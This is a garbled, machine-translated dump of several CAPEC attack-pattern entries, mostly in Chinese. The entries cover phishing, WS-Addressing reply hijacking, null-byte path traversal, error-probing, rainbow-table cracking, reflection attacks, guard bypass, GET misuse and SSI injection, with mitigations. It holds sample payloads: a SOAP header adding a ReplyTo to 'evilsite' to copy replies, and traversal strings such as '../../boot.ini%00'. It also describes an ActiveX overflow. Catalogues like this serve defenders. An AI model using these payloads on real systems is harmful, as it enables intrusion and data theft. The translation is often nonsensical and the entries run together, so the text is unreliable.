之前使用一个带外用户身份验证机制允许特定的电脑“注册”使用的合法网站,特定的登录凭证。这也可以防止攻击者使用偷来的凭证。一个例子可能是发送短信到用户的手机(手机号码之前收购站点)的“激活码”每次用户试图登录到网站从一台新电脑。这个解决方案也不防止中间人攻击之前所描述的安全控制。这种机制是目前所使用的几家网上银行网站包括摩根大通(JP Morgan Chase)的网站。 攻击者需要有一种方法来启动与受害者接触。通常会通过电子邮件。 攻击者需要猜出受害者的实体业务和模仿。大多数时候钓鱼者只使用最流行的银行/服务和发送他们的“钩子”许多潜在的受害者。 攻击者需要有足够令人信服的行动呼吁提示用户采取行动。 复制网站需要看起来非常类似于原始网站的URL用于获取需要看起来像真正的URL表示业务实体。 非常高的 社会工程 欺骗 约翰官方看电子邮件来自他的银行说明他或她的帐户已被暂时锁定由于涉嫌未经授权的活动,约翰需要点击电子邮件中包含的链接登录到他的银行账户,以打开它。电子邮件中的链接看起来非常类似于他的银行一旦单击链接,登录页面的副本。约翰供应他的登录凭证之后,他被告知,他的账户现在已经解锁,一切都很好。攻击者刚刚收集到约翰的网上银行信息现在可以使用他或她登录到约翰的银行账户和约翰的钱转移到攻击者选择的银行账户。 媒介 一些web开发工具,建立了一个假的网站。 你收到电子邮件从一个实体,你甚至都没有一个客户提示您登录到您的帐户。 你收到任何电子邮件,为你提供了一个链接,带你去一个网站,你需要输入您的登录信息。 电子邮件中的链接和实际的网站看起来很合理。 不遵循任何链接,你收到你的邮件,当然不输入任何页面上的登录凭证,他们带你。相反,打电话给你的银行,贝宝,易趣,等等,并询问问题。一个安全的实践也会在浏览器中输入的URL你的银行直接再登录。也从来没有回复电子邮件,要求你提供任何形式的敏感信息。 特权升级 信息泄漏 数据修改 侦察 客户机-服务器 SOA 所有 所有 所有 肖恩·巴纳姆 Cigital公司。 2007-03-25 确定创建模式的优先事项 Evgeny Lebanidze Cigital公司, 2007-03-22 充实内容模式 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修改 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 SOA和Web服务通常使用一个注册表执行查找,得到模式信息,对服务和元数据。毒注册可以重定向(认为钓鱼服务器)的服务请求者恶意服务提供者,提供不正确的信息模式或元数据(影响拒绝服务),和删除信息服务提供者接口。ws - addressing用于虚拟化服务,提供返回地址和其他路由信息,然而,除非的ws - addressing头部保护它们容易重写。攻击者可以重写ws - addressing收益能力来路由服务请求者的信息服务提供商,服务提供者和路线的能力应对任何服务。在注册中心部署的内容服务提供者。注册表在SOA或Web服务系统可以访问服务请求者通过UDDI或其他协议。攻击者的基本流程包括修改注册表中的数据或上传恶意内容通过欺骗一个服务提供者。然后重定向到服务请求者发送请求和/或响应服务攻击者控制。 攻击者必须能够写入资源或重定向访问服务注册中心。 非常高的 修改的资源 注射 协议处理 ws - addressing提供关于服务端点的位置和元数据。非常难以探测攻击是攻击者更新ws - addressing头,叶子的标准服务请求和服务提供者在机智寻址和标题信息,但增加了一个额外的ws - addressing Replyto头。在这种情况下,攻击者能够发送一个副本(如邮件cc)的每一个服务提供者生成结果。所以每个查询银行账户服务,将生成一个应答消息的交易状态授权服务请求者和攻击者服务。This would be extremely hard to detect at runtime. <S:Header> <wsa:MessageID> http://example.com/Message </wsa:MessageID> <wsa:ReplyTo> <wsa:Address>http://valid.example/validClient</wsa:Address> </wsa:ReplyTo> <wsa:ReplyTo> <wsa:Address>http://evilsite/evilClient</wsa:Address> </wsa:ReplyTo> <wsa:FaultTo> <wsa:Address>http://validfaults.example/ErrorHandler</wsa:Address> </wsa:FaultTo> </S:Header> In this example evilsite is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with REpolyTo header it will not generate a Soap fault. 低→确定和执行针对一个超水准系统接口 直接或间接修改注册表资源的能力 设计:实施最小特权原则 设计:加强注册服务器和文件访问权限 从注册表实现:实现通信和使用安全协议 运行任意代码 信息泄漏 数据修改 有效载荷通过标准的通信协议,如UDDI和ws - addressing。 命令(s)在服务请求者直接执行,在重定向的情况下,或在服务提供者,额外的replto攻击。 客户端机器和客户网络 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 285年 有针对性的 74年 有针对性的 693年 有针对性的 剥削 SOA 所有 所有 所有 贡纳·彼得森 2007-02-28 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致名称的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者嵌入一个或多个null字节输入目标软件。这种攻击依赖于null-valued字节作为字符串结束符的使用在许多环境中。目标的目标是为某些组件软件停止处理输入当遇到零字节(s)。 确定一个地方在用户输入的程序可用于升级特权例如访问未经授权的文件系统资源通过目录浏览。 攻击者意识到有一个后缀的数据得到的方式获得所需的资源 攻击者然后广告后缀零终结者提供的输入以“燕子”后缀的数据插入时发生。后缀的数据得到的攻击了,门被打开访问所需的资源。 程序不妥善处理后缀NULL结束符 注射 修改的资源 API滥用 目录浏览假设Web应用程序允许用户访问一组报告。报告目录的路径可能是类似的web /用户名/报告。如果用户名提供通过一个隐藏字段,攻击者可以插入一个虚假的用户名等. . / . . / . . / . . / . . /窗口。如果攻击者需要删除后的字符串/报告,然后他足够可以简单地插入字符的字符串被截断。或者攻击者可能应用后缀NULL字符(% 00)来决定是否终止的字符串。不同形式的空考虑包括路径[0 x00] % 00路径路径(NULL字符的候补代表)<脚本> < /脚本> % 00 利用缓冲区溢位的弱点在ActiveX组件打包与Adobe Systems Inc .) Acrobat /阅读器允许远程攻击者执行任意代码。的问题具体存在检索链接以下形式:GET / any_existing_dir / any_existing_pdf。pdf % 00(长字符串)HTTP / 1.1(长字符串)是一个恶意的长字符串包含URI可接受的字符。请求必须由一个web服务器,这样就要求在零字节(% 00),否则无效的文件指定名称和“文件未找到”页面将被归还。截断的示例web服务器所请求的URI包括Microsoft IIS和网景公司企业。尽管请求的URI是截断的目的定位文件的长字符串仍然是传递给Adobe ActiveX组件负责渲染页面。这反过来会引发缓冲区溢出在RTLHeapFree()允许攻击者覆盖任意词在内存中。负责任的指示RTLHeapFree()所示:0 x77f83ae5 MOV EAX, EDI + 8 0 x77f83ae8 MOV连成一片,(EDI + C)……0 x77f83aed MOV连成一片,EAX寄存器EDI包含一个指针指向一个用户提供的字符串。因此,攻击者控制连成一片和EAX寄存器用于显示MOV指令。 Successful exploitation allows remote attackers to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat. An attacker does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script. Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [iDefense]. cve - 2004 - 0629 考虑下面的PHP脚本:$无论= addslashes ($ _REQUEST['任何']);包括(“/道路/ /程序/”。不管美元。“/ header.htm”);恶意攻击者可能会打开以下网址,披露的引导。ini文件:http://localhost/phpscript.php?whatever=../../../../boot.ini%00 介质:目录遍历高:执行任意代码 妥善处理提供的空字符的一部分用户输入之前做任何数据。 数据修改 信息泄漏 特权升级 运行任意代码 158年 有针对性的 172年 有针对性的 173年 有针对性的 171年 有针对性的 74年 有针对性的 20. 有针对性的 697年 有针对性的 707年 有针对性的 不愿相信 渗透 剥削 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 iDefense实验室公共咨询:Adobe Acrobat阅读器/ ActiveX控件可用缓冲区溢位的弱点:http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=126 Bugtraq邮件列表归档:PHP可以在输入验证漏洞:http://msgs.securepoint.com/bugtraq/ g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 尤金Lebanidze Cigital公司 2007-02-26 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和上下文描述 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 如果一个字符串是通过一个过滤器,然后一个终端零可能不是有效的。使用的替代表示NULL允许攻击者嵌入零midstring后缀时适当的数据,以便避免过滤器。一个例子是一个过滤器,寻找一个末尾斜杠字符。如果一个字符串插入是可能的,但削减必须存在,另一种编码的空midstring可能被使用。 攻击者首先调查找出限制输入放置过滤器,如一个特定的字符的URL。 攻击者然后注入一个字符串的选择与一个空终结者(使用另一种编码如% 00),紧随其后的是一个反斜杠(% 5 c),其次是一些额外的字符必须取悦过滤器 恶意字符串然后经过过滤和传递给底层的API。一切后零终结者被忽略。这可能让攻击者有机会访问文件系统资源,他们不应该访问和做其他的事情。一些流行的形式,这发生:路径% 00% 5 c路径[0 x00] [0 x5c]路径(零替代编码)(通滤波器所需的额外字符) Null结束符不正确处理的过滤器。 注射 一个相当简单的注射是可能的一个URL: http://getAccessHostname/sekbin/ helpwin.gas.bat吗?模式=作画”= x&file = x&module =地区=[插入这里相对路径][% 00][% 5 c]章=这种攻击已经出现在野外与规律性。有许多变体这种攻击。花很短的时间内注射对Web应用程序通常会导致一个新的利用被发现。 介质:攻击者需要了解备选编码,过滤查找和数据格式可以接受到目标API 测试程序与各种输入和观察过滤器的行为。加班可以理解过滤器预计。 空字符观察的过滤器。过滤器需要能够理解各种Null字符的编码,或者只规范化数据应该传递给它。 妥善处理空字符。确保正确地应用规范化。不空字符传递给底层的api。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。 数据修改 信息泄漏 特权升级 一个公共服务器的文件系统是一个繁忙的地方。各种数据得到离开,就像一个繁忙的市中心游行之后,发生了什么之后,街上到处都是垃圾。许多服务器的问题在于,他们不能似乎保持封闭的烂摊子。一些简单的事情可以帮助。临时文件应存放在一个安全的区域远离窥探的眼睛。备份文件不应该离开坐在公开任何人抓起。这都是真正的清洁问题。但是让我们面对现实吧,软件可以非常草率(也许反映真正的懒汉)。一个典型的服务器通常是一个温床垃圾数据。副本获得,事情就离开了。 Backups and temporary files are left out in the open. Permissions on directories aren’t locked down. As a result, image pirates can just bypass the login to a porn site and directly access competitors’ content. Any location that is left writable ends up as a stash point for illegal software (is your site a warez server?). Have you ever logged in to your UNIX box and discovered 1,400 concurrent downloads of quake3.iso running? Most system administrators have had something like this happen to them at least once. In general, server software uses the file system extensively. A Web server in particular is always reading or executing files on a system. The more complicated the server, the harder it is to guarantee the security of the file system. There are many Web servers out on the Internet that allow attackers to read or execute any file on the hard drive! The code between the potential determined attacker and the file system is simply a challenging lock begging to be picked. Once an attacker gains access to your storage, you can bet he will make good use of it. Let’s explore all the layers between an attacker and the file system. Several basic attack patterns are commonly used, such as simply asking for files and getting them. At the very least, the attacker may need to know something about the structure of the file system, but this is easy because most systems are cookie-cutter images of one another. More advanced tricks can be used to get directory listings and build a map of an unknown file system. There are two main categories of input-driven attacks: Buffer over-flows are the largest and best hyped attack; inserting data into trusted API calls comes in a close second. This attack pattern involves user-supplied data that trickle through software and get passed as an argument to a file system call. Two basic forms of this attack involve filenames and directory browsing. Filenames If the user-supplied data is a filename, an attacker can simply alter the filename. Consider a log file that is based on the name of a server. Assume a popular chat program tries to connect to an Internet address (192.168.0.100, for example). The chat program wants to make a log file for the session. It first connects to a DNS server and does a lookup on the IP address. The DNS server returns the name server.exploited.com. After obtaining the name, the chat program makes a log file called server.exploited.com.LOG. Can you guess how an attacker would exploit this? Consider what happens if the attacker has penetrated the DNS server on the network. Or, consider that the attacker has the means to poison the DNS cache on the client computer. The attacker now indirectly controls the name of the log file via the DNS name. The attacker could supply a DNS response such as server.exploited/../../../../NIDS/Events.LOG, possibly destroying a valuable log file. Directory Browsing Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to remove the trailing string /reports, then he can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string. Once again, some popular forms this takes include PATH%00%5C PATH[0x00][0x5C] PATH[alternate encoding of the NULL][additional characters required to pass filter] From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. 158年 有针对性的 172年 有针对性的 173年 有针对性的 171年 有针对性的 74年 有针对性的 20. 有针对性的 697年 有针对性的 707年 有针对性的 52 更详细的 不愿相信 渗透 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 尤金Lebanidze Cigital公司 2007-02-26 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者,意识到应用程序的位置(也可能是授权使用应用程序)可以探测应用程序的结构和评估其鲁棒性的探测错误条件(就像在“模糊”测试,但更有目的地)为了支持攻击如SQL盲注,或更一般的任务的映射应用程序装入另一个后续的攻击。 确定应用程序的用户可控参数 注入每个参数与内容,导致一个错误条件清单 修改内容的每个参数aaccording观察错误条件 重复以上步骤,直到有足够的参数所需的应用程序已经足够映射出发射攻击(例如SQL盲注) 这类攻击并不严格要求授权访问应用程序。攻击者使用这种攻击过程分类,地图,和识别脆弱的方面的一个应用程序,它只需要验证的假设,与应用程序的交互,进行反复试验活动。 注射 蛮力 盲目的SQL注入是该技术的一个例子,申请成功的利用。 cve - 2006 - 4705 攻击者发送错误的数据在不同的servlet在J2EE系统,返回异常堆栈跟踪,记录和地图应用程序功能。此外,这种技术可以让攻击者关联这些servlet使用底层的开源软件包(和潜在的版本号),提供它们。 介质:虽然模糊参数并不困难,和经常与自动化fuzz,可能解释的错误条件,修改参数,进一步将应用程序需要映射的过程中目标平台的详细知识,所使用的语言和包以及软件设计。 攻击者需要探测应用程序功能的能力,并提供错误的指令或数据而不会引发入侵检测方案或足够的影响应用程序的日志记录,对攻击者采取步骤。攻击不需要特殊的硬件,软件,技能,或访问。 重复同一段代码生成的错误是一个迹象,尽管它需要仔细监测应用程序及其相关的错误日志,如果任何。 击败相关性,攻击者可以尝试改变原点的IP地址,或者客户机浏览器识别的字符串或开始一个新的会话从他离开;任何旨在战胜某些标识的使用的技术参数关联模糊攻击的一个小方法。 应用程序设计人员可以构建一个“代码书”错误消息。使用代码书时,应用程序生成的错误消息并不是字符串或堆栈跟踪形式,但编目,取而代之的是一个独特的(通常是基于整数)值的编码错误。这种技术需要帮助台和接待人员使用“代码书”或类似的映射来解码应用程序错误/ logs为了正常反应。 应用程序设计人员可以封装应用程序功能(通过底层框架preferrably)在输出编码方案模糊或清理错误消息来防止此类攻击。这种技术通常用于与上述代码书的建议。 信息泄漏 这种模式适用于上下文的应用程序不能直接反向工程,因此要求攻击者进行逆向工程演习间接描述。 用户可控的输入 内容,基于应用程序上下文,精心引出从应用程序错误条件 在应用程序中错误处理机制 激活的影响是一个错误条件,希望对攻击者来说,揭示了足够的信息来进一步地图应用程序。 209年 有针对性的 248年 二次 717年 有针对性的 自定义错误页面必须用于处理异常,这样他们不会透露任何信息的体系结构的应用程序或数据库。 使用应用程序级保障来过滤数据和处理异常优雅。 没有安全 深度防御 从不使用输入指令的任何内部组件 安全处理所有错误 侦察 媒介 媒介 所有 所有 所有 所有 CWE——输入验证 CWE——错误处理不当 约翰·史蒂文 Cigital公司 2007-02-10 最初的核心模式内容 Chiradeep b Chhaya Cigital公司 2007-02-23 充实模式与额外的内容 攻击者可以获得密码散列存储的数据库表。然后使用一个彩虹预先计算的哈希链表来试图查找原始密码。一旦获得相对应的原始密码散列,攻击者使用原密码进入系统。密码的彩虹表存储为各种密码散列链。密码链计算,从原来的密码,P,通过减少(压缩)函数R和一个哈希函数H .递归关系存在,Xi + 1 = R (H (Xi)), X0 = P那么原始密码的哈希链长度n P可以形成:X1, X2, X3,……,Xn-1 Xn-2 Xn H (Xn)。P, H (Xn)然后在彩虹表存储在一起。构建彩虹表需要很长时间和计算昂贵。一个单独的表需要constrcuted各种散列算法(例如SHA1、MD5、等等)。然而,一旦一个彩虹表计算,它可以非常有效的破解的密码散列没有盐的使用。 决定应用程序/系统的密码策略 确定目标应用程序/系统的密码策略。 确定最小和最大允许密码长度。 env-All 确定的格式允许密码(是否需要或允许包含数字,特殊字符,等等)。 env-All 确定帐户锁定策略(严格的帐户锁定策略将防止暴力破解攻击)。 env-All 密码中使用的应用程序/系统 env-All 密码不是用于应用程序/系统 env-All 获取密码散列 攻击者会访问数据库表中存储的密码或者可能只是发现了一个哈希散列一个indivual密码。 获取数据库表的副本或平面文件包含密码散列(通过访问控制,使用SQL注入等)。 env-All 从平台获取密码散列存储位置(例如Windows注册表) env-All 嗅探网络数据包包含密码散列。 env-Web env-Peer2Peer env-ClientServer env-CommProtocol 密码身份验证中未使用应用程序/系统。 env-All 至少一个(无盐)获得的密码散列。 没有攻击者获得的密码散列。 彩虹表格密码破解工具运行 攻击者找到或写一个密码破解工具,使用先前计算的彩虹表的散列算法。它帮助如果攻击者知道哈希算法所使用的密码系统。 运行彩虹表格如Ophcrack或RainbowCrack密码破解工具。减少功能必须依靠应用程序/系统的密码策略。 env-All 在步骤2中成功的结果。 env-All 第2步中失败的结果。 env-All 密码散列对应的恢复。 密码散列对应无法恢复与给定的彩虹表。 在散列包含盐。 散列的原始密码提供给攻击者。更好的成功机会,攻击者应该不止一个散列的原始密码,和理想的整个表。 盐并不是用来创建散列的原始密码。否则必须reocmputed彩虹表,这是非常昂贵,将使攻击有效不可行(特别是如果盐添加到迭代)。 基于密码的身份验证的系统使用一个因素。 媒介 媒介 蛮力 BusyBox 1.1.1时不使用盐生成密码,使本地用户更容易猜密码被盗密码文件使用技术,如彩虹表。 cve - 2006 - 1058 低:各种密码破解工具,可以利用一个彩虹表。更困难的部分是获取密码散列(es)。 彩虹表的密码散列链与正确的算法。一个密码破解工具,利用这个彩虹表还需要。散列(es)的密码是必需的。 这是一个完全离线攻击中,攻击者可以执行在他们既有现代化后的密码散列。 计算时使用盐的密码散列。即连接盐(随机比特)与原密码散列前。 特权升级 261年 有针对性的 521年 有针对性的 262年 二次 263年 二次 693年 有针对性的 719年 二次 49 更抽象 偶尔之前 70年 更详细的 偶尔之前 16 更抽象 偶尔之前 渗透 所有 所有 所有 所有 尤金Lebanidze Cigital公司 2007-02-26 肖恩·巴纳姆 Cigital公司 2007-03-01 审查和修订的内容 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 攻击者可以虐待一个认证协议容易反射攻击为了击败它。这样做将允许攻击者非法访问目标系统,没有拥有必要的凭证。反射攻击十分关注的身份验证协议依赖challenge-handshake或类似的机制。攻击者可以冒充合法用户可以获得非法的访问期间,成功地安装反射攻击系统身份验证。 攻击者打开一个到目标服务器的连接,并将它发送一个挑战 服务器响应通过返回的挑战与共享密钥加密以及对攻击者自己的挑战 由于攻击者并不拥有共享的秘密,他发起一个连接到服务器,发送它,从服务器接收到的挑战,挑战第一连接 服务器将这视为另一个握手并响应通过加密和发行自己的攻击者的挑战 攻击者现在接收加密挑战第二连接并发送响应在第一次连接到服务器,从而成功地完成握手,对服务器进行身份验证。 攻击者必须直接访问目标服务器为了成功挂载一个反射攻击。一个中间实体,如路由器或代理,处理这些攻击者的交流代表抑制攻击者攻击认证协议的能力。 身份验证通常是作为一种手段识别和授权访问用户。如果认证协议可以被打败,在这种情况下,反射攻击,身份验证服务没有目的从ilegitimate识别系统的合法用户 协议处理 欺骗 单点登录解决方案网络使用固定预共享密钥与其客户启动登录过程中为了避免偷听最初的交流。攻击者可以使用反射攻击来模仿一个可信的客户登录的网络团体的交流。 介质:攻击者需要有知识,观察协议交换和管理所需的连接问题,应对挑战 攻击者需要的是一种手段来观察和理解协议交流为了反映适当的挑战。 服务器必须发起握手通过发出挑战。这将确保客户有回应之前,可以进一步交流 使用HMAC散列来自服务器的响应也可以用来阻止反射。服务器响应通过返回自己的挑战以及散列客户的挑战,自己的挑战和预共享密钥。要求客户端回应了HMAC的两个挑战确保只有有效预共享秘密的持有者能够成功两个值的哈希。 引入一个随机nonce与每个新连接确保攻击者不能使用两个连接攻击认证协议 特权升级 信息泄漏 这种攻击向量的上下文是一种身份验证协议,服务器加密的挑战做好了准备。这样的质询-响应协议在客户端和服务器之间通信在nework,或系统之间,如路由器,需要进行身份验证。 301年 有针对性的 303年 二次 718年 有针对性的 不愿相信 完整的中介 深度防御 使用的身份验证机制,在适当情况下,正确 渗透 剥削 客户机-服务器 SOA 所有 所有 所有 Chiradeep b Chhaya 2007-03-13 初稿 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修订的内容 在某些情况下,攻击者可以绕过逻辑到位保护敏感的功能或数据。攻击可能包括获得和调用直接保护功能(或访问受保护的数据),可能涉及颠覆的某些方面的实现,或完全切除的后卫,如果可能的话。 攻击者决定,通过蛮力,逆向工程或其他类似的方法,位置和逻辑的元素 攻击者然后试图确定机制来规避。 一旦确定机制,攻击者访问受保护的功能 攻击者必须逆向工程广泛应用程序和它的设计足以确定一个警卫元素存在。这样做可能是那样简单地通过探测(也可能收到详细的错误消息)或可能涉及高格调先进的逆向工程技术支持/调试工具。 非常高的 媒介 攻击者使用基于Servlet的网站的点击率探索地图的功能,注意其URL-naming约定和Servlet映射。使用这个知识和猜测的Servlet名称功能他们不是授权使用,攻击者直接导航到特权功能arund授权单前端控制器(实现编程式授权检查)。 >黑客逆向工程一个Java二进制(通过反编译)和标识许可证管理代码的存在。注意到许可证管理器返回真或假用户是否授权,攻击者只需覆盖这两个分支目标返回TRUE,重新编译,最后重新部署二进制。 介质:攻击者必须能够理解复杂的设计逻辑以及可能逆向工程设计和代码的能力来确定位置和警卫元素的逻辑。 攻击者需要探索应用程序的功能和能力应对各种条件。在这种情况下,警卫组件位于服务器端,攻击者可能会需要一个有效的登录。在保护功能存在客户端中,攻击者可能会需要逆向工程工具,比如dissasembler。 攻击者可能会限制(和成功)探索简单探索应用程序的功能和它的底层映射到服务器端组件。很有可能成功,攻击者需要一个有效的登录。 在另一个极端,攻击者能够逆向工程的客户机代码将有能力删除功能或识别敏感数据的下落通过白盒分析,如对逆向工程代码。 特权升级 信息泄漏 数据修改 这种模式的攻击具有有效的上下文不管架构模型,提供了应用程序的开发人员实现保护组件。警卫可能实现为应用程序逻辑的“控制器”元素(如MVC模式),本身可能就是一个封闭对象(比如Java的SealedObject类),或者可能是客户端功能。卫兵可能减轻访问(通过一个授权决定,可以过滤输入(或标准化/传感器输出),或进行一些安全检查。客户机/服务器,n层和厚的客户都应该考虑脆弱性这一模式。然而,一名警卫的接触攻击取决于攻击者的能力来识别和探针及其周边地区,以及访问它逻辑上的能力。这使得这种攻击更困难的n层应用程序中卫兵攻击是一个正确的控制器实现。这种模式的攻击不需要依赖一个特定的平台,技术堆栈,或语言。 288年 有针对性的 372年 二次 510年 有针对性的 693年 有针对性的 721年 有针对性的 cve - 2007 - 0968 未指明的脆弱性在思科防火墙服务模块(FWSM) 2.3(4.7)和前3。x 3.1(3.1)之前使访问控制项(ACE)在ACL评估不当,它允许远程经过身份验证的用户绕过某些ACL保护。 cve - 2007 - 0802 Mozilla Firefox 2.0.0.1允许远程攻击者绕过网络钓鱼保护机制通过添加某些字符结束的域名,证明了“。”和“/”字符,而不是被网络钓鱼黑名单过滤列表。 VU # 258834 客户端资源WebEOC关系特权和角色。如果攻击者可以直接访问资源,攻击者将被授予的所有特权与该资源有关。 深度防御 完整的中介 没有安全 使用的身份验证机制,在适当情况下,正确 正确使用授权机制 渗透 所有 所有 所有 所有 约翰·史蒂文 Cigital公司 2007-02-10 最初的核心模式内容 Chiradeep b Chhaya Cigital公司 2007-02-23 充实模式与额外的内容 其他使用标准HTTP (Get、Put、删除)风格权限的方法,但这些并不一定是将通常与后端程序。严格解释的HTTP get方法意味着这些HTTP get服务不应该用来在服务器上删除信息,但是没有访问控制机制来支持这个逻辑。这意味着,除非正确ACL的服务和应用程序的服务实现遵循这些指导方针那么一个HTTP请求可以很容易地删除或更新在服务器端执行。攻击者标识一个HTTP Get URL,如http://victimsite/updateOrder,它调用一个程序更新订单在数据库或其他资源。与其说是幂等的URL请求可以被攻击者多次提交,此外,攻击者可以利用URL作为Get方法,实际执行发布更新(而不只是检索数据)。这可能导致恶意或inadvertant改变的数据在服务器上。 攻击者需要能够识别HTTP Get url。Get方法必须设置为调用应用程序执行操作得到更新和删除等。 注射 HTTP Get方法的目的是获取资源,而不是改变应用程序的状态或资源在服务器端。然而,开发人员可以很容易地代码程序接受一个HTTP Get请求,事实上创建、更新或删除数据在服务器上。Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html)和del.icio。我们(http://del.icio.us/api/posts/delete)实现了删除操作使用标准的HTTP Get请求。这些HTTP Get方法做删除数据在服务器端,尽管这是被称为不应该改变的状态。 低→它相对简单的识别是一个服务器端的HTTP Get方法,改变状态和执行一个超水准的系统接口 攻击者可能列举url标识脆弱的服务。 设计:实施最小特权原则 实现:确保HTTP Get方法只检索服务器端的状态,不改变状态 实现:确保HTTP方法有适当的acl基于funcitonality暴露 数据修改 特权升级 有效载荷通过标准的通信协议。在Flickr和del.icio。我们上面的例子,这是通过一个正常的web浏览器 命令(s)直接在主机执行 客户端机器和客户网络 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 267年 有针对性的 269年 有针对性的 264年 有针对性的 1 更详细的 渗透 剥削 SOA 所有 所有 所有 马克·奥尼尔REST Web服务的“安全”,http://www.vordel.com/downloads/rsa_conf_2006.pdf 贡纳·彼得森 2007-02-28 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者可以使用服务器端包含(SSI)注入代码发送到一个web应用程序,然后由web服务器执行。这样做使跨站脚本攻击者达到类似的结果,即,任意代码执行和信息披露,尽管规模较小,因为SSI指令远没有强大成熟的脚本语言。尽管如此,攻击者可以方便地获得敏感文件,如密码文件,并执行shell命令。 确定的适用性 攻击者决定服务器端包含目标web服务器上启用。 寻找流行的页面文件的名字。攻击者会寻找.shtml .shtm, asp, . aspx和其他众所周知的字符串url来帮助确定SSI功能是否启用。 env-Web 获取. htaccess文件中。在Apache web服务器安装,. htaccess文件可以使服务器端包含在特定的位置。在这些情况下,住在. htaccess文件的目录启用了SSI,理论上fetchable从web服务器。尽管大多数web服务器否认抓取. htaccess文件,错误配置服务器将允许它。因此,攻击者会经常试试。 env-Web 如果使用. htaccess文件,其内容应检查”选项包括”或“选项IncludesNOEXEC”。 env-Web 如果使用apache, httpd的内容。应该检查配置文件和类似的配置文件”选项包括”或“选项IncludesNOEXEC”。 env-Web IIS配置包含服务器端包括兼容性。 env-Web 网页,包括平凡,但是动态信息(当前日期,文件的大小,或其他数据,SSI可以产生)可能会通过SSI生产内容。 env-Web 添加主httpd“AllowOverrides没有”。一个服务器上的配置文件(和其他应用服务器)的类似的限制可以防止意外的放松SSI功能,即使是内部开发人员。 尝试SSI 寻找用户可控的输入,包括HTTP头,可以携带服务器端包括指令到web服务器 使用搜索工具和记录所有的链接。特别注意任何链接,包括参数的URL。 env-Web 使用一个代理工具来记录所有的链接访问web应用程序的手册中遍历。特别注意任何链接,包括参数的URL。这种类型的手工遍历经常需要识别形式GET方法而不是POST形式形式。 env-Web 使用URL参数。 env-Web 没有参数出现在URL。即使没有出现,web应用程序可能仍然使用他们是否提供。 env-Web 一个url列表,与相应的参数是由攻击者。 监控页面抓取的速度在web日志。人查看页面,选择一个链接点击会远慢和定期远远少于工具。工具很快发出请求,请求通常间隔的定期(例如0.8秒之间)。 创建链接在某些页面视觉隐藏在web浏览器。使用IFRAMES、图像或其他HTML技术,可以从web浏览人类隐藏的链接,但可见的蜘蛛和程序。请求页面,然后,变成了一个自动化工具的一个很好的预测指标探测应用程序。 积极地监控应用程序从起源和否认或重定向请求,似乎是自动的。 注入SSI 攻击者可能会需要查看某个特定页面为了让服务器执行包括指令和运行一个命令或代表攻击者打开一个文件 攻击者视图数据从文件(可能),他通常不应该看到。 攻击者在服务器上执行一个命令,或影响一个命令的参数通过SSI在服务器上执行。 支持服务器端包含一个web服务器,并支持他们 可以携带的用户可控的输入包括指令到web服务器 非常高的 很容易确定服务器端包括是否允许在目标服务器上。攻击者可以收集大量的信息如果SSI注入被发现是可能的。 注射 协议处理 考虑一个网站托管在一个服务器,允许服务器端包含(SSI),例如Apache启用了“选项包括指令”。当一个错误发生时,HTTP头连同整个请求被记录,然后可以显示在一个页面,该页面允许审查这样的错误。恶意用户可以注入SSI指令在请求的HTTP头信息,旨在创建一个错误。当这些日志最终审查,服务器解析SSI指令并执行它们。 介质:攻击者需要知道SSI技术,确定注射的本质,可以手工输入,结果SSI指令被执行。 没有:确定服务器是否支持SSI不需要特殊的工具,而且也没有注入指令得到执行。 攻击者可以通过注入内容探究使SSI可以解释为SSI指令和查看页面的输出 设置选项IncludesNOEXEC全球访问。配置文件或本地. htaccess文件(Apache)否认SSI执行目录不需要它们 所有用户可控的输入必须适当的应用程序中使用前消毒。这包括省略,或者某些字符或字符串的编码,有可能被解释为一个SSI指令的一部分 